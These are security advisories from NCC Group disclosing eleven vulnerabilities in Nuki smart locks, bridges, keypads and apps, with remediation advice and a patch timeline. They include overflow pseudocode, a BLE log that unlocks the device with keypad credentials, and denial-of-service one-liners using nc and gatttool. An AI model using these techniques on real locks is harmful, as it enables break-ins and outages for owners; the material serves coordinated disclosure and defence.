The following vulnerabilities were found as part of a research project looking at the state of security of the different Nuki (smart lock) products. The main goal was to look for vulnerabilities which could affect to the availability, integrity or confidentiality of the different devices, from hardware to software.
Eleven vulnerabilities were discovered. Below are links to the associated technical advisories:
Vendor: Nuki (https://nuki.io)
Systems and Versions affected:
- Nuki Smart Lock 3.0 (<3.3.5)
- Nuki Bridge v1 (<1.22.0)
- Nuki Bridge v2 (<2.13.2)
Authors:
- Daniel Romero: [email protected]
- Pablo Lorenzo: [email protected]
- Guillermo Del Valle Gil: [email protected]
CVE Identifier: CVE-2022-32509
Risk: 8.5 (CVSS:2.0/AV:N/AC:L/Au:N/C:C/I:P/A:N)
No SSL/TLS certificate validation was implemented on the Nuki Smart Lock and Bridge devices.
Without SSL/TLS certificate validation, it is possible to perform man-in-the-middle attacks to access network traffic sent over an encrypted channel.
It was possible to set up an intercepting proxy to capture, analyse and modify communications between the affected device and the supporting web services. In the picture below, WebSocket traffic can be observed, in which messages are sent to and received from the Keyturner device:
Implement SSL/TLS certificate validation for every function that uses network communication.
Vendor: Nuki (https://nuki.io)
Systems and Versions affected:
- Nuki Smart Lock 3.0 (<3.3.5)
- Nuki Smart Lock 2.0 (<2.12.4)
- Nuki Bridge v1 (<1.22.0)
- Nuki Bridge v2 (<2.13.2)
Authors:
- Daniel Romero: [email protected]
- Pablo Lorenzo: [email protected]
- Guillermo Del Valle Gil: [email protected]
CVE Identifier: CVE-2022-32504
Risk: 8.8 (CVSS:3.0/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
The code that implements the parsing of the JSON objects received from the SSE WebSocket leads to a stack buffer overflow.
A skilled attacker would be able to exploit this to gain arbitrary code execution on the device.
The code shown in the snippet below leads to a buffer overflow. It should be noted that the C code below is an interpretation based on firmware decompilation. Therefore, the structure, pointers, variables, etc. can differ from the original one.
void ws_parse_response()
{
// stack variables
[SNIP]
char name_value[40];
unsigned __int8 item_buff[1024]; // destination buffer (overflowed)
json_list json_obj;
unsigned int v22[3];
_BYTE *v23;
[SNIP]
packet_val_len = 0;
byte_2000B007 = 1;
sub_698EA(v22);
num_json_items = json_parser(v22, ws_pkt_received, ws_pkt_recv_size, &json_obj, 0x20u);
if ( num_json_items >= 0 )
{
for ( i = 0; i < num_json_items; ++i )
{
if ( !json_obj_strcmp(ws_pkt_received, &json_obj.obj[i], "name") ) // name item
{
sprintf( item_buff, "%.*s", json_obj.obj[i + 1].end - json_obj.obj[i + 1].ini,
&ws_pkt_received[json_obj.obj[i + 1].ini]); // overflow
strncpy(name_value, item_buff, 40);
break;
}
if ( !json_obj_strcmp(ws_pkt_received, &json_obj.obj[i], "id") ) // id item – line 37
{
sprintf( item_buff, "%.*s", json_obj.obj[i + 1].end - json_obj.obj[i + 1].ini,
&ws_pkt_received[json_obj.obj[i + 1].ini]); // overflow – line 40
strncpy(v18, item_buff, 32);
dword_2000AD7C = sub_768BC(v18, 0, 10);
}
}
++word_2000AD64;
print_log("SSE: received %s\r\n", name_value);
The snippet of code below shows how the stack buffer overflow was triggered and the PC (Program Counter) ARM register overwritten:
[*] ==========================
[*] Emulating the ws_parse_response() function
>>> Function: ['00069D08 (ws_parse_response)'] (lr:0x0)
>>> Function: ['00075A06 (memset)'] (lr:0x69d21)
>>> Function: ['00075A06 (memset)'] (lr:0x69d31)
>>> Function: ['00075A06 (memset)'] (lr:0x69d41)
>>> Function: ['000698EA (sub_698EA)'] (lr:0x69dbb)
>>> Function: ['000695B4 (json_parser)'] (lr:0x69dd7)
[SNIP]
>>> Function: ['000759D4 (sub_759D4)'] (lr:0x7701f)
>>> Function: ['0007652E (strncpy_)'] (lr:0x69edb)
>>> Function: ['000768BC (sub_768BC)'] (lr:0x69ee9)
>>> Function: ['000767A4 (sub_767A4)'] (lr:0x768db)
>>> Function: ['0007588C (sub_7588C)'] (lr:0x767bf)
>>> Function: ['00069926 (print_log)'] (lr:0x69f1f)
>>> Function: ['00076580 (sub_76580)'] (lr:0x69f27)
>>> Function: ['00069926 (print_log)'] (lr:0x69f33)
>>> Function: ['000764D6 (strcmp_)'] (lr:0x69f3f)
>>> Function: ['000764D6 (strcmp_)'] (lr:0x6a0bb)
>>> Function: ['000764D6 (strcmp_)'] (lr:0x6a2a9)
>>> Function: ['000764D6 (strcmp_)'] (lr:0x6a395)
>>> Function: ['000764D6 (strcmp_)'] (lr:0x6a7f9)
>>> Function: ['000764D6 (strcmp_)'] (lr:0x6a9a9)
>>> Function: ['000764D6 (strcmp_)'] (lr:0x6b079)
>>> Tracing basic block at 0x58585858, block size = 0x4
==============================
ERROR: Invalid memory fetch (UC_ERR_FETCH_UNMAPPED)
>>> r0 = 0xffffffb5
>>> r1 = 0xc9b85
>>> r2 = 0x1
>>> r3 = 0x2000ad68
>>> sp = 0x20005300
>>> pc = 0x58585858
It should be noted that all sprintf() functions implemented within the vulnerable function could lead to stack buffer overflows since the “item_buff” stack variable’s size is not checked.
It should also be mentioned that this vulnerability in combination with the “Lack of Certificate Validation on TLS Communications” greatly increases the risk of both vulnerabilities. An attacker could carry out a man-in-the-middle attack between the device and the router in order to tamper with the WebSocket packets, trigger the buffer overflow vulnerability and finally take control of the device.
Additionally, if a malicious user could get access to the Nuki’s SSE servers this could be used to take control of all the affected devices.
Ensure that the length of the data copied into an object is checked in order to avoid exceeding the size of its destination or the desired value. Always specify the size of the destination buffer for any memory copy operation to prevent overflowing it. This can be achieved by using the snprintf() function instead of the sprintf() function.
All code should be compiled with standard defensive measures in place. Stack cookies could be enabled to prevent stack buffer overflows.
Vendor: Nuki (https://nuki.io)
Systems and Versions affected:
- Nuki Bridge v1 (<1.22.0)
- Nuki Bridge v2 (<2.13.2)
Authors:
- Daniel Romero: [email protected]
- Pablo Lorenzo: [email protected]
- Guillermo Del Valle Gil: [email protected]
CVE Identifier: CVE-2022-32502
Risk: 8.0 (CVSS:3.0/AV:A/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H)
The code in charge of the HTTP API parameter parsing logic leads to a stack buffer overflow.
A skilled attacker could be able to exploit this to gain arbitrary code execution.
Stack overflows can be exploited by overwriting a function return address thereby gaining control of execution. In the context of the affected device, the lack of common protections against stack manipulation, such as stack canaries or ASLR, makes it easier to successfully exploit this vulnerability.
The following C pseudocode (obtained from decompiling the firmware) shows how the HTTP API parses the parameters received when the timestamp parameter is supplied:
int sub_FDA8(char *http_ts_param, int http_rnr_param, char *http_token_param, char *http_hash_param)
{
[SNIP]
char v22[64]; // [sp+28h] [bp-D8h]
char string_to_hash[30]; // [sp+68h] [bp-98h]
sprintf(string_to_hash, "%s,%d,%s", http_ts_param, http_rnr_param, http_token_param);
v5 = sub_45AAA(string_to_hash);
sub_12B00((int)string_to_hash, v5, (int)v21);
sub_214BC(v22, (int)v21);
[SNIP]
The first line of code to be executed concatenates the timestamp parameter with the random number and clear-text token. This corresponds to how the hashed token is calculated, according to the HTTP API documentation[1] (section 3.2.1). This is done with a call to sprint(), that copies the contents of said parameters to the stack-based buffer “string_to_hash”. However, this call if performed without validating parameter size, leading to an overflow.
Sending a large payload in the “ts” parameter is enough to crash the device, causing a restart. Upon inspection, it was confirmed that the return address was overwritten:
It is important to notice that this vulnerability is exploitable from within the LAN network, without the need of a valid token, as long as the HTTP API is enabled.
[1] Nuki HTTP API documentation: https://developer.nuki.io/page/nuki-bridge-http-api-1-13/4/#heading–token
Ensure that the length of the data copied into an object is checked in order to avoid exceeding the size of its destination or the desired value. Always specify the size of the destination buffer for any memory copy operation to prevent overflowing it. This can be achieved by using the snprintf() function instead of the sprintf() function.
All code should be compiled with standard defensive measures in place. Stack cookies could be enabled to prevent stack buffer overflows.
Vendor: Nuki (https://nuki.io)
Systems and Versions affected:
- Nuki Smart Lock 3.0 (<3.3.5)
- Nuki Smart Lock 2.0 (<2.12.4)
Authors:
- Daniel Romero: [email protected]
- Pablo Lorenzo: [email protected]
- Guillermo Del Valle Gil: [email protected]
CVE Identifier: CVE-2022-32507
Risk: 8.0 (CVSS:3.0/AV:A/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H)
Insufficient access controls were found in the Bluetooth Low Energy (BLE) Nuki API implementation.
The lack of access controls allowed users to send high-privileged commands to the Keyturner for which they should not have permission.
It was found that some BLE commands, which should have been designed to be only called from privileged accounts (such as the mobile application) could also be called from unprivileged accounts (such as the Keypad). This demonstrates that no access controls were implemented for the different BLE commands between the different accounts.
Therefore, the Keypad authentication (auth-id and shared-key) could be used to call the “Lock Action”[1] command, which does not require the Keypad code, instead of the “Keypad Action”[2] command. This would allow an attacker with access to the Keypad auth-id and shared-key to carry out actions such as opening the Keyturner without knowing the Keypad code.
Similarly, an attacker could also try to change the Keyturner admin security PIN from an unprivileged user account by using its authentication information and calling the BLE command “Set Security PIN”.
The snippets of code below show how it was possible to use the Keypad authentication data (auth-id and shared-key) to call the Lock Action command and open the Keyturner without knowing the Keypad code.
Keypad authentication data, which can be extracted by using the exposed JTAG/SWD interfaces:
# Auth ID # Name (Nuki Keypad)
0x000f4e00: 00000000e15c3400034e756b69204b6579706164000000000000000000000000
0x000f4e20: 0000000000000000005c7927013dbcac2f3f91e2[REDACTED]2ff141a6afa51a // shared key
0x000f4e40: 84dc6e49a016fee464e5070101040a08e5070101040a08000000000000000000 // (32 bytes)
A python script was developed to perform the “Lock Action” command with the Keypad auth data:
$ python keyturner_open.py
[*] == Nuki Keyturner Protocol == [*]
[*] SHARED_KEY: 5c7927013dbcac2f3f91e2[REDACTED]2ff141a6afa51a84dc6e49a016fee464
[*] PACKET 1 (keyturner > keypad)
[*] ========================================
[*] packet: 0fb7d032f45f7252738500eb19e2[REDACTED]96f771f821c80b26752343329a5ddc8b2ef3bdb414
[*] nonce: 0fb7d032f45f7252738500eb19e2bc546fac8d1f057816d8
[*] auth_id: e15c3400
[*] len: 1a00
[*] ##########
[*] Plaintext: e15c340001000400752d
[*] auth_id: e15c3400
[*] command: Request Data (0100)
[*] payload: Challenge (0400)
[*] crc: 752d
[*] ========================================
[*] PACKET 2 (keypad > keyturner)
[*] ========================================
[*] packet: 4f9ab198f1c0b011f3d17b327d8160[REDACTED]2279658a4939a1578c088ceafa1c3a56f32be2f08
[*] nonce: 4f9ab198f1c0b011f3d17b327d8160506c146bc3535cfbb9
[*] auth_id: e15c3400
[*] len: 3800
[*] ##########
[*] Plaintext: e15c34000400e33eeb8c4f5a9df1af6ecce7edacd28b0c92149c665b543b50b2fc49630fd4c24c28
[*] auth_id: e15c3400
[*] command: Challenge (0400)
[*] payload: e33eeb8c4f5a9df1af6ecce7edacd28b0c92149c665b543b50b2fc49630fd4c2
[*] crc: 4c28
[*] ========================================
[*] PACKET 3 (keyturner > keypad)
[*] ========================================
[*] packet: 14b78e7ddb716c95e988d655ad245b9[REDACTED]4a8c0948670186b389615e3c01f9756232b8835ce
[*] nonce: 14b78e7ddb716c95e988d655ad245b99f1c8292cd1066f93
[*] auth_id: e15c3400
[*] len: 3e00
[*] ##########
[*] Plaintext: e15c34000d00010000000000e33eeb8c4f5a9df1af6ecce7edacd28b0c92149[REDACTED]245ec
[*] auth_id: e15c3400
[*] command: Lock Action (0d00)
[*] payload: 010000000000e33eeb8c4f5a9df1af6ecce7edacd28b0c92149c665b543b50b2fc49630fd4c2
[*] crc: 45ec
[*] ========================================
[*] PACKET 4 (keypad > keyturner)
[*] ========================================
[*] packet: 4e9887b2e14fee9070ceec172b1f1fd99[REDACTED]4c26bdcbc2df6cfcddc24ff9941fdcea8f378
[*] nonce: 4e9887b2e14fee9070ceec172b1f1fd99eb4e9e52b60081d
[*] auth_id: e15c3400
[*] len: 1900
[*] ##########
[*] Plaintext: e15c34000e0001f3a4
[*] auth_id: e15c3400
[*] command: Status (0e00)
[*] payload: 01
[*] crc: f3a4
[*] ========================================
It should be mentioned that this vulnerability in combination with the “JTAG Exposed via Test Points” exposes the Nuki environment to considerable risk as the Keypad is usually installed on an untrusted place. Hence, an attacker could leverage these vulnerabilities to open the Keyturner without knowing the Keypad code.
[1] https://developer.nuki.io/page/nuki-smart-lock-api-2/2/#heading–lock-action
[2] https://developer.nuki.io/page/nuki-smart-lock-api-2/2/#heading–keypad-action
Access controls must be implemented for the different accounts and BLE commands.
Similarly, ensure that the access controls, which should be applied to each function, are fully understood and are implemented correctly. [1][2]
[1] OWASP Guidance: https://owasp.org/www-community/Broken_Access_Control
[2] OWASP Top 10 – Broken Access Control: https://owasp.org/www-project-top-ten/OWASP_Top_Ten_2017/Top_10-2017_A5-Broken_Access_Control
Vendor: Nuki (https://nuki.io)Systems and Versions affected:
- Nuki Keypad (<1.9.2)
- Nuki Fob (<1.8.1)
Authors:
- Daniel Romero: [email protected]
- Pablo Lorenzo: [email protected]
- Guillermo Del Valle Gil: [email protected]
CVE Identifier: CVE-2022-32503
Risk: 7.6 (CVSS:3.0/AV:P/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H)
JTAG hardware interfaces were exposed on the affected devices.
An attacker with physical access to the circuit board could use the JTAG’s boundary scan feature to control the execution of code on the processor and debug the firmware, as well as read or alter the content of the internal and external flash memory.
The circuit board exposes a JTAG interface on PCB through-hole test points, as shown below:
This interface was next to a set of labels that clearly indicated each pad functionality, making it easier to take advantage of.
The snippet of code below shows the ARM registers once connected into the JTAG interface:
> reg
===== arm v7m registers
(0) r0 (/32): 0x00000000
(1) r1 (/32): 0x00000004
(2) r2 (/32): 0x40030000
(3) r3 (/32): 0x00000005
(4) r4 (/32): 0x40090000
(5) r5 (/32): 0x40030000
(6) r6 (/32): 0x00000009
(7) r7 (/32): 0x50001000
(8) r8 (/32): 0x40091000
(9) r9 (/32): 0x40090000
(10) r10 (/32): 0x00000001
(11) r11 (/32): 0x40031000
(12) r12 (/32): 0xffffffff
(13) sp (/32): 0x11001ff0
(14) lr (/32): 0x10000eb1
(15) pc (/32): 0x10000e62
(16) xPSR (/32): 0x61000000
(17) msp (/32): 0x11001ff0
(18) psp (/32): 0x00000000
(20) primask (/1): 0x00
(21) basepri (/8): 0x00
(22) faultmask (/1): 0x00
(23) control (/3): 0x00
===== Cortex-M DWT registers
An attacker with physical access to any of these ports may be able to connect to the device and bypass both hardware and software security protections. JTAG debug may be usable to circumvent software security mechanisms, as well as to obtain the full firmware stored in the device unencrypted.
The severity of this issue has been raised to high, as the Keypad device is exposed outside of the secured area, making it easier for an attacker to access the device and its internal components.
NCC Group recommends disabling JTAG using the appropriate means described in the point 5.1 of the “Technical Reference Manual for the CC26x0 MCU”[1].
[1] https://www.ti.com/lit/ug/swcu117i/swcu117i.pdf?ts=1647438101993
Vendor: Nuki (https://nuki.io)
Systems and Versions affected:
- Nuki Bridge v1 (<1.22.0)
- Nuki Bridge v2 (<2.13.2)
Authors:
- Daniel Romero: [email protected]
- Pablo Lorenzo: [email protected]
- Guillermo Del Valle Gil: [email protected]
CVE Identifier: CVE-2022-32510
Risk: 7.1 (CVSS:3.0/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N)
The HTTP API exposed by the Bridge used an unencrypted channel to provide an administrative interface.
Communications between a client and the HTTP API could be passively collected by any other device with access to the local network.
By design[1], a client authenticates to the API using a parameter named “token” supplied in GET requests, as shown below:
GET /info?token=[REDACTED] HTTP/1.1
Host: 192.168.254.100:8080
User-Agent: curl/7.68.0
Accept: */*
Connection: close
This token can be easily eavesdropped by a malicious actor to impersonate a legitimate user and gain access to the full set of API endpoints.
It should also be noted that the API provides a method to obfuscate the authentication token along with other parameters. The documentation states that a SHA256 hash is calculated consisting of the concatenation of the timestamp, a random four-digit number, and the plaintext token. The request above would be replaced by something similar to the one below:
GET /info?ts=2022-01-19T11:24:01Z&rnr=1245&hash=4b110d8fa77359c7814e0e73d19d94b8e57c7ea9de3d996fce9d6dfdf106f610 HTTP/1.1
Host: 192.168.254.100:8080
User-Agent: curl/7.68.0
Accept: */*
Connection: close
This protection provided by the mentioned method is not enough to prevent the leak of the authentication token. All the other variables used to calculate the hash are known to the attacker and knowing the token length and its character set, it would be possible to crack it with little effort.
As a proof of concept, the hash used in the previous request was cracked using hashcat[2] at 224 a MH/s rate in less than four minutes:
[1] Nuki Bridge HTTP API Documentation: https://developer.nuki.io/page/nuki-bridge-http-api-1-13/4/#heading–token
[2] Hashcat Cracking Tool: https://hashcat.net/hashcat/
HTTP connections should be replaced with HTTPS using TLS 1.2/1.3.
Additionaly, no sensitive information, such as the authentication token, should ever be sent in an HTTP GET parameter. Consider using POST messages or adding an authentication cookie.
Vendor: Nuki (https://nuki.io)
Systems and Versions affected:
- Nuki Smart Lock 3.0 (<3.3.5)
- Nuki Smart Lock 2.0 (<2.12.4)
- Nuki Bridge v1 (<1.22.0)
- Nuki Bridge v2 (<2.13.2)
Authors:
- Daniel Romero: [email protected]
- Pablo Lorenzo: [email protected]
- Guillermo Del Valle Gil: [email protected]
CVE Identifier: CVE-2022-32506
Risk: 6.4 (CVSS:3.0/AV:P/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H)
SWD hardware interfaces were exposed on the affected devices.
An attacker with physical access to the circuit board could use the SWD debug features to control the execution of code on the processor and debug the firmware, as well as read or alter the content of the internal and external flash memory.
The system-on-a-chip (SoC) exposes a SWD interface on the tests points shown below:
The SWD interface pinout is documented in the SoC datasheet[1] (section 6.3, page 130; section 6.5, page 162) and was exploited using the following configuration:
Functionality | GPIO name | Pin number |
SWCLK | PF0 | Pin 1 |
SWDIO | PF1 | Pin 2 |
An attacker with physical access to this interface would be able to connect to the device and bypass both hardware and software security protections. SWD debug could be used to circumvent software security mechanisms, as well as obtain the full unencrypted firmware stored in the device.
The snippet of code below shows how it was possible to interact with the SoC, to display the ARM registers:
===== Cortex-M DWT registers
> halt
target halted due to debug-request, current mode: Thread
xPSR: 0x61000000 pc: 0x0002d652 msp: 0x20002100
> reg
===== arm v7m registers
(0) r0 (/32): 0x00000000
(1) r1 (/32): 0xffffffff
(2) r2 (/32): 0x00000000
(3) r3 (/32): 0x2000567c
(4) r4 (/32): 0x20005674
(5) r5 (/32): 0x2000e064
(6) r6 (/32): 0xffffffff
(7) r7 (/32): 0x00000000
(8) r8 (/32): 0x20005108
(9) r9 (/32): 0x20005118
(10) r10 (/32): 0x20006624
(11) r11 (/32): 0x00000000
(12) r12 (/32): 0x00000004
(13) sp (/32): 0x20002100
(14) lr (/32): 0x00025413
(15) pc (/32): 0x0002d652
(16) xPSR (/32): 0x61000000
(17) msp (/32): 0x20002100
(18) psp (/32): 0x20010000
(20) primask (/1): 0x00
(21) basepri (/8): 0x00
(22) faultmask (/1): 0x00
(23) control (/3): 0x00
[SNIP]
[1] https://www.silabs.com/documents/public/data-sheets/efr32mg13-datasheet.pdf
NCC Group recommends disabling SWD using the GPIO API described in “EFR32 Mighty Gecko 13 Software Documentation”[1]
Vendor: Nuki (https://nuki.io)
Systems and Versions affected:
- Nuki Bridge v1 (<1.22.0)
- Nuki Bridge v2 (<2.13.2)
Authors:
- Daniel Romero: [email protected]
- Pablo Lorenzo: [email protected]
- Guillermo Del Valle Gil: [email protected]
CVE Identifier: CVE-2022-32508
Risk: 6.5 (CVSS:3.0/AV:A/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H)
The affected devices were vulnerable to denial of service via crafted HTTP packets.
An unauthenticated attacker could cause a denial of service, affecting the availability of the Bridge by making the device unstable.
The following python command can be used in order to reproduce the denial of service attack:
$ python -c 'print(b"XXX / HTTP/1.1\r\nHost:10.0.0.103\r\n\r\n")' | nc BRIDGE_IP 8080
HTTP/1.1 405 Method not allowed
Connection: Close
Content-Length: 27
HTTP 405 Method not allowedHTTP/1.1 405 Method not allowed
Connection: Close
Content-Length: 27
HTTP 405 Method not allowed
As shown in the HTTP response above, after sending the crafted HTTP message, the API server returned three consecutive “405 Method not allowed” message responses and rebooted.
The image below shows how after sending the crafted HTTP packet, the device was rebooted and requested a new IP address through the DHCP protocol. Note that the payload was sent twice, at seconds 48 and 86.
It should also be mentioned that this behaviour was investigated in the firmware, but the root cause could not be confirmed. Observations suggested that HTTP messages which did not have a valid “GET” method, where not being handled correctly leading to an infinite loop.
It is recommended to investigate the issue and try to identify the root cause.
Vendor: Nuki (https://nuki.io)
Systems and Versions affected:
- Nuki Smart Lock 3.0 (<3.3.5)
- Nuki Smart Lock 2.0 (<2.12.4)
Authors:
- Daniel Romero: [email protected]
- Pablo Lorenzo: [email protected]
- Guillermo Del Valle Gil: [email protected]
CVE Identifier: CVE-2022-32505
Risk: 6.5 (CVSS:3.0/AV:A/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H)
The affected devices were vulnerable to denial of service(DoS) via crafted Bluetooth Low Energy (BLE) packets.
An unauthenticated attacker could cause a DoS, affecting to the availability of the Keyturner and making the device unstable.
The following bash command can be used in order to reproduce the denial of service attack: (This command can be sent a few times in a row to ensure the DoS)
$ gatttool -b KEYTURNER_MAC --char-write-req -a 0x69 -n $(echo -ne "XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX" |xxd -ps)
connect error: Function not implemented (38)
Apart from observing the Keyturner reboot sounds and the engines turning, the device reboot was also verified by adding hardware breakpoints into the first firmware function (0x250f6) through the SWD interface:
> bp 0x250f6 2 hw
breakpoint set at 0x000250f6
> resume
>
> // Denial of Service was done here
>
target halted due to breakpoint, current mode: Thread
xPSR: 0x61000000 pc: 0x000250f6 msp: 0x200052ec // breakpoint triggered, so device was rebooted
>
It should be mentioned that most of the BLE characteristics exposed and those undefined within the documentation seem vulnerable to the same issue.
The snippets of code below show characteristics found with write properties for the Keyturner v2 and v3.
Handles | Service > Characteristics | Properties |
0008 -> 000b 000c 0011 | 000000a20000100080000026bb765291 000000370000100080000026bb765291 000000a50000100080000026bb765291 | READ, WRITE READ, WRITE |
0016 -> 0044 001a 001f 0024 0029 002e 0033 0038 003d | 0000003e0000100080000026bb765291 000000140000100080000026bb765291 000000200000100080000026bb765291 000000210000100080000026bb765291 000000230000100080000026bb765291 000000230000100080000026bb765291 000000520000100080000026bb765291 000000530000100080000026bb765291 000000a60000100080000026bb765291 | READ, WRITE READ, WRITE READ, WRITE READ, WRITE READ, WRITE READ, WRITE READ, WRITE READ, WRITE READ, WRITE, INDICATE |
0045 -> 005b 0049 004e 0053 0058 | 000000550000100080000026bb765291 0000004c0000100080000026bb765291 0000004e0000100080000026bb765291 0000004f0000100080000026bb765291 000000500000100080000026bb765291 | READ, WRITE READ, WRITE READ, WRITE READ, WRITE |
005c -> 007b 0060 0066 006f 0078 | 000000450000100080000026bb765291 000000a50000100080000026bb765291 0000001d0000100080000026bb765291 0000001e0000100080000026bb765291 000000230000100080000026bb765291 | READ, WRITE READ, WRITE, INDICATE READ, WRITE, INDICATE READ, WRITE |
007c -> 0088 0080 0085 | 000000440000100080000026bb765291 000000190000100080000026bb765291 000000370000100080000026bb765291 | READ, WRITE READ, WRITE |
0089 -> 008c 008b | a92ee100550111e4916c0800200c9a66 a92ee101550111e4916c0800200c9a66 | READ, WRITE, INDICATE |
008d -> 0095 008f 0092 0095 | a92ee200550111e4916c0800200c9a66 a92ee201550111e4916c0800200c9a66 a92ee202550111e4916c0800200c9a66 a92ee203550111e4916c0800200c9a66 | READ, WRITE, INDICATE READ, WRITE, INDICATE WRITE |
009d -> ffff 00a1 00a7 00ad | 000000960000100080000026bb765291 000000680000100080000026bb765291 0000008f0000100080000026bb765291 000000790000100080000026bb765291 | READ, WRITE, INDICATE READ, WRITE, INDICATE READ, WRITE, INDICATE |
Handles | Service > Characteristics | Properties |
0008 -> 000b 000a | a92ee100550111e4916c0800200c9a66 a92ee101550111e4916c0800200c9a66 | READ, WRITE, INDICATE |
000c -> 0014 000e 0011 0014 | a92ee200550111e4916c0800200c9a66 a92ee201550111e4916c0800200c9a66 a92ee202550111e4916c0800200c9a66 a92ee203550111e4916c0800200c9a66 | READ, WRITE, INDICATE READ, WRITE, INDICATE WRITE |
001a -> 002b 0022 0027 | 000000a20000100080000026bb765291 000000370000100080000026bb765291 000000a50000100080000026bb765291 | READ, WRITE READ, WRITE |
002c -> 005f 0030 0035 003a 003f 0044 0049 004e 0053 005c | 0000003e0000100080000026bb765291 000000140000100080000026bb765291 000000200000100080000026bb765291 000000210000100080000026bb765291 000000230000100080000026bb765291 000000300000100080000026bb765291 000000520000100080000026bb765291 000000530000100080000026bb765291 000000a60000100080000026bb765291 000002200000100080000026bb765291 | READ, WRITE READ, WRITE READ, WRITE READ, WRITE READ, WRITE READ, WRITE READ, WRITE READ, WRITE, INDICATE READ, WRITE |
0060 -> 0076 0064 0069 006e 0073 | 000000550000100080000026bb765291 0000004c0000100080000026bb765291 0000004e0000100080000026bb765291 0000004f0000100080000026bb765291 000000500000100080000026bb765291 | READ, WRITE READ, WRITE READ, WRITE READ, WRITE |
0077 -> 0096 007b 0081 008a 0093 | 000000450000100080000026bb765291 000000a50000100080000026bb765291 0000001d0000100080000026bb765291 0000001e0000100080000026bb765291 000000230000100080000026bb765291 | READ, WRITE READ, WRITE, INDICATE READ, WRITE, INDICATE READ, WRITE |
0097 -> 00a3 009b 00a0 | 000000440000100080000026bb765291 000000190000100080000026bb765291 000000370000100080000026bb765291 | READ, WRITE READ, WRITE |
00a4 -> ffff 00a8 00ae 00b4 | 000000960000100080000026bb765291 000000680000100080000026bb765291 0000008f0000100080000026bb765291 000000790000100080000026bb765291 | READ, WRITE, INDICATE READ, WRITE, INDICATE READ, WRITE, INDICATE |
It is recommended to investigate the issue and try to identify the root cause.
Additionally, all BLE services and characteristics implemented by the Keyturner should be reviewed, disabling those which are not required for business purposes.
Vendor: Nuki (https://nuki.io)
Systems and Versions affected:
- Nuki Smart Lock application (v2022.5.1 (661))
Authors:
- Daniel Romero: [email protected]
- Pablo Lorenzo: [email protected]
- Guillermo Del Valle Gil: [email protected]
CVE Identifier: N/A
Risk: 1.9 (CVSS:3.0/AV:L/AC:H/PR:H/UI:N/S:U/C:L/I:N/A:N)
Invite token, which was created to identify the user during the invitation process, was also used to encrypt and decrypt the invite keys on the Nuki servers.
If malicious actor can take control of Nuki servers, this insecure implementation could facilitate the leak of this sensitive information and the invite user impersonation.
Based on conversations with Nuki, the invite functionality, which allows inviting users to interact with the Keyturner either temporarily or permanently, used the invite token to encrypt and decrypt the invite keys on server-side (Nuki Servers), which would reduce the effectiveness of the encryption implementation.
Encryption and decryption of sensitive information (such us invite keys) should be implemented on the client-side (administrator and invite user) and the encryption keys never known by Nuki.
Based on conversations with the Nuki team, it is known that the invite functionality was designed to work when the temporary user is not close the hardware device, that means, some external resources (Nuki Server e.g.) would be required.
Nevertheless, it is highly recommended implementing a strong encryption to avoid sensitive data (such as invite keys) being stored or sent out of the secure and trusted client environment.
A most secure implementation can be implemented by using a pre-shared key shared between the Keyturner administration and the invite user (as the invitation token is exchanged) in order to encrypt all invitation data (including the invitation key) before sending it to the Nuki servers. This would ensure that only the invite user could decrypt the sensitive information stored on the Nuki servers.
Vendor: Nuki (https://nuki.io)
Systems and Versions affected:
- Nuki Opener (<1.8.1)
Authors:
- Daniel Romero: [email protected]
- Pablo Lorenzo: [email protected]
- Guillermo Del Valle Gil: [email protected]
CVE Identifier: N/A
Risk: 2.1 (CVSS:2.0/AV:L/AC:L/Au:N/C:N/I:P/A:N)
Opener Bluetooth Low Energy (BLE) characteristics were implemented insecurely.
The device allowed an unauthenticated attacker to change the BLE device name.
The following were some of the services and characteristics available through the BLE protocol:
As seen in the image above, the “Device Name” characteristic had write access enabled. As a result, it was possible to send a write command to the device and change its name.
Require authentication for write operations on the device.
April 20 2022: Nuki was informed about the vulnerabilities found during the research.
May 6 2022: Nuki provided information to NCC Group about the fixes progress and potential release dates.
June 9 2022: Nuki released the vulnerability patches for all of our submitted vulnerabilities and informed to their clients.
June 19 2022: Nuki provided updates about the patching progress of their clients.
July 25 2022: Technical advisories were released
The Nuki team for their work during the whole process of responsible vulnerability disclosure. They have worked closely with NCC Group in order to provide security fixes for all the vulnerabilities found during the research to their customers. Therefore, we would like to praise their professionalism, responsiveness and the commitment to the security of their product.
Matt Lewis (Commercial Research Director at NCC Group) for his help and support during the disclosure process.
NCC Group is a global expert in cybersecurity and risk mitigation, working with businesses to protect their brand, value and reputation against the ever-evolving threat landscape. With our knowledge, experience and global footprint, we are best placed to help businesses identify, assess, mitigate & respond to the risks they face. We are passionate about making the Internet safer and revolutionizing the way in which organizations think about cybersecurity.
Published date: July 25 2022
Written by: Daniel Romero, Pablo Lorenzo and Guillermo del Valle Gil